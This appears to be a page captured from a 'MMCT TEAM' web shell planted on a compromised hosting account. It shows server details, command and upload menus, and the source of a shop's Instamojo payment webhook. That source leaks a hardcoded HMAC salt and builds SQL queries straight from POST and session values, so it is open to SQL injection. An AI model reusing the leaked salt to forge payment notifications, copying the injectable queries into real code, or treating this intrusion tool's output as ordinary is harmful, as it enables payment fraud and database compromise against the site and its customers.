MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.68
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/vaticaplus/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/vaticaplus/webhook.php
<?php
session_start();
include ("Admin/Includes/db.php");
$uid =  $_SESSION['userid'] ;
date_default_timezone_set('Asia/Kolkata');
 $cudate = date("Y-m-d") ;
 
$itemid = $_SESSION['itemid'];
$itemqty = $_SESSION['itemqty'];
$itempri = $_SESSION['itempri'];
$csid = $_SESSION['comid'];

$lname = $_SESSION['lname'];
$address = $_SESSION['address'];
$state = $_SESSION['state'];
$city = $_SESSION['city'];
 
 $sqlu = "SELECT * FROM `tbl_order` ORDER BY id DESC";
    $sql_resu = mysqli_query($con, $sqlu) or die(mysqli_error($con));
     $sql_rowu = mysqli_fetch_array($sql_resu);

     if($sql_rowu['order_no'] == '')
     {
      $orderno ='1001';
     }
     else
     {
       $orderno = $sql_rowu['order_no'] + 1 ;
     }
 
/*
Basic PHP script to handle Instamojo RAP webhook.
*/

$data = $_POST;
$mac_provided = $data['mac'];  // Get the MAC from the POST data
unset($data['mac']);  // Remove the MAC key from the data.
$ver = explode('.', phpversion());
$major = (int) $ver[0];
$minor = (int) $ver[1];
if($major >= 5 and $minor >= 4){
     ksort($data, SORT_STRING | SORT_FLAG_CASE);
}
else{
     uksort($data, 'strcasecmp');
}
// You can get the 'salt' from Instamojo's developers page(make sure to log in first): https://www.instamojo.com/developers
// Pass the 'salt' without <>
$mac_calculated = hash_hmac("sha1", implode("|", $data), "0065b7d656764d7f993175d6923d0f82");
if($mac_provided == $mac_calculated){
    if($data['status'] == "Credit"){
        // Payment was successful, mark it as successful in your database.
        // You can acess payment_request_id, purpose etc here. 
        
        $purpose = $data['purpose'];
        $totalp = $data['amount'];
        $fname = $data['buyer_name'];
        $email = $data['buyer'];
        $phone = $data['buyer_phone'];
        $payment_id = $data['payment_id'];
        $pay_status = $data['status'];
        
        $csid = $_SERVER['REMOTE_ADDR'];
 $SQL = "INSERT INTO tbl_order set loginid='$uid',ucid='$csid',fname='$fname',lname='$lname',address='$address',state='$state',city='$city',email='$email',phone='$phone',total_p='$totalp',order_date='$cudate',payment_method='$radio',order_no='$orderno',pay_status='$pay_status',pay_id='$payment_id'";
    
    
          if ($con->query($SQL) === TRUE) {

          	 $last_id = $con->insert_id;

          	$pro = "SELECT * FROM tbl_cart WHERE cid='$csid' and status='1'";
			$result=$con->query($pro);
			if($result->num_rows > 0)
			{

				 $SQLs = "INSERT INTO tbl_item set order_id='$last_id',pid='$itemid',qty='$itemqty',price='$itempri'";
				$sql_res = mysqli_query($con, $SQLs) or die(mysqli_error($con));

			}
       
       $sqlc = "delete from tbl_cart  where cid='$csid'";
    $resultc = mysqli_query($con, $sqlc) or die(mysqli_error($con));
        
                   $_SESSION['flash_message'] = 'orderadd';
       
        
       echo "<script>;
                window.location.href='index.php';
                </script>";

	 }
    }
    else{
        // Payment was unsuccessful, mark it as failed in your database.
        // You can acess payment_request_id, purpose etc here.
    }
}
else{
    echo "MAC mismatch";
}

?>

MMCT - 2023